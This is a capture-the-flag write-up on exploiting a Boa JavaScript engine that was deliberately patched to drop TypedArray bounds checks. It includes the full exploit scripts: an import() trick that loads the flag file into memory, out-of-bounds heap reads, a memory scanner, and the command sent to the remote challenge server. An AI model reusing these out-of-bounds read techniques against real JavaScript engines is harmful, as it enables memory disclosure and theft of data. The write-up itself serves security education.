//js
>Challenge Overview
- Category: Pwn (JavaScript engine exploitation)
- Binary: Patched
boaJS engine with a Python harness (dist/run.py) - Remote:
ncat --ssl pwn.ctf-bsides-algiers-2k25.shellmates.club 1405 - Goal: Read
flag.txtlocated next to the binary (at least/home/ctf/flag.txtremotely)
>TL;DR
A supplied diff (dist/challenge.diff) shows the maintainer removed bounds checks from Boa's TypedArray implementation. That turns every typed array read/write into an arbitrary out-of-bounds primitive. By first attempting to import() the flag file, Boa copies the flag bytes into its heap even though parsing fails. The exploit then linearly scans the heap through an oversized typed array index, locates the bytes shellmates{, and prints characters until }. The same script works locally and remotely, yielding shellmates{1_GuE$s_1t$_$0LvaBLe_xdddddddd}.
>Step 1 – Recon & Environment Setup
$ unzip -o dist.zip
$ cd dist
$ ./boa --version
Boa is a Javascript lexer, parser and compiler written in Rust.
Inspecting the provided diff immediately highlights the core bug:
- TypedArray indices are now served via
get_unchecked/get_unchecked_mutwithout bounds validation. TypedArray::validate_indexno longer ensuresindex < length.
This means arr[someLargeIndex] returns whatever bytes follow the buffer in memory.
>Step 2 – Triggering Side-Effects with import()
Before going for the flag, I checked how Boa reports parsing failures to ensure I could silence errors. Helper script (dist/import_test.js):
import('./flag.txt', { assert: { type: 'json' } }).catch((e) => {
console.log('message', e.message);
console.log('cause', e.cause?.message);
});
Output:
message could not parse module `./flag.txt`
cause expected token ';', got '{' in expression statement at line 1, col 11
Even though parsing fails, Boa still reads the file into memory – exactly what we need for later leakage.
>Step 3 – Demonstrating the OOB Primitive
To confirm the OOB behaviour, I wrote dist/oob_test.js:
const buf = new ArrayBuffer(0x40);
const arr = new Uint8Array(buf);
for (let i = 0; i < arr.length; i++) arr[i] = 0x41;
const results = [];
for (let i = 0; i < 16; i++) {
const value = arr[0x1000 + i];
results.push(value ?? null);
}
console.log('results', results);
Execution:
$ ./boa oob_test.js
results [ 160, 121, 133, 222, 106, 117, 252, 127, ... ]
The values clearly come from outside the 0x40-byte buffer, proving unauthorised memory access.
>Step 4 – Memory Scanning Helper
Once I knew arbitrary reads were possible, I built a scanner to locate shellmates{ anywhere in memory. Script (dist/scan.js):
const buf = new ArrayBuffer(0x10);
const arr = new Uint8Array(buf);
const target = Array.from('shellmates{').map((c) => c.charCodeAt(0));
const matches = [];
for (let i = 0; i < 0x100000; i++) {
let ok = true;
for (let j = 0; j < target.length; j++) {
if (arr[i + j] !== target[j]) { ok = false; break; }
}
if (ok) { matches.push(i); i += target.length - 1; }
}
console.log('matches', matches);
Running it after the import() call yielded readable strings, confirming the method works:
matches [ 83183 ]
bytes [ 115, 104, 101, 108, 108, 109, 97, 116, 101, 115, 123, 109, 97, 112, 99, ... ]
found string shellmates{mapc
The snippet shellmates{mapc proved the flag bytes were now accessible.
>Step 5 – Final Exploit
The consolidated exploit (dist/exploit.js) combines the import trick and scanner:
async function main() {
const arr = new Uint8Array(new ArrayBuffer(0x1000));
const candidates = ['/home/ctf/flag.txt', './flag.txt'];
for (const path of candidates) {
try {
await import(path);
break;
} catch (err) {
// parsing fails but data stays in heap
}
}
const target = [115,104,101,108,108,109,97,116,101,115,123];
const max = 0x200000;
let found = -1;
outer: for (let i = 0; i < max; i++) {
for (let j = 0; j < target.length; j++) {
if (arr[i + j] !== target[j]) continue outer;
}
found = i;
break;
}
if (found === -1) { console.log('not found'); return; }
let result = '';
for (let k = 0; k < 0x80; k++) {
const byte = arr[found + k];
if (byte === 0) break;
result += String.fromCharCode(byte);
if (byte === 125) break;
}
console.log(result);
}
main();
void 0;
Key points:
- The typed array
arrnever resizes, but we read huge offsets thanks to the missing bounds checks. void 0;ensures Boa prints only the console output, notPromise { <pending> }.
Local proof
$ ./boa exploit.js
shellmates{fake_flag}
(The provided local flag is a decoy.)
Remote proof
$ (cat exploit.js; echo EOF) | ncat --ssl pwn.ctf-bsides-algiers-2k25.shellmates.club 1405
shellmates{1_GuE$s_1t$_$0LvaBLe_xdddddddd}
>How the Idea Came Together
- Diff-Driven Recon: The diff explicitly replaced every safe slice accessor with
get_unchecked. That screamed "OOB typed array". - Heap-Residency Trick: Experience with JS engines suggested
import()orfetch()would read arbitrary files into memory before failure. Testing withimport_test.jsvalidated that assumption. - Progressive Tooling: I wrote tiny scripts (
oob_test.js, thenscan.js) to observe memory layout before building the final exploit. - Timeout Considerations:
import()plus scanning must finish within the harness’ 15-second limit. Limiting the scan to ~2 MB (max = 0x200000) kept runtime low enough for remote success.
>References
- Boa source tree (official): https://github.com/boa-dev/boa
- Patched diff (from challenge package): dist/challenge.diff
- ECMA-262 TypedArray specification (motivation for bounds checks): https://tc39.es/ecma262/#sec-typedarray-objects
>Files Created During Solving
- dist/import_test.js – inspect
import()failure behaviour. - dist/fetch_test.js &
fetch_test2.js– experiments with the runtimefetchAPI (ultimately unnecessary but part of the exploration). - dist/oob_test.js – demonstrates basic out-of-bounds reads/writes.
- dist/scan.js – scans memory for
shellmates{. - dist/exploit.js – final payload used locally and remotely.
These incremental helpers made the final exploit straightforward and reproducible.
Flag: shellmates{1_GuE$s_1t$_$0LvaBLe_xdddddddd}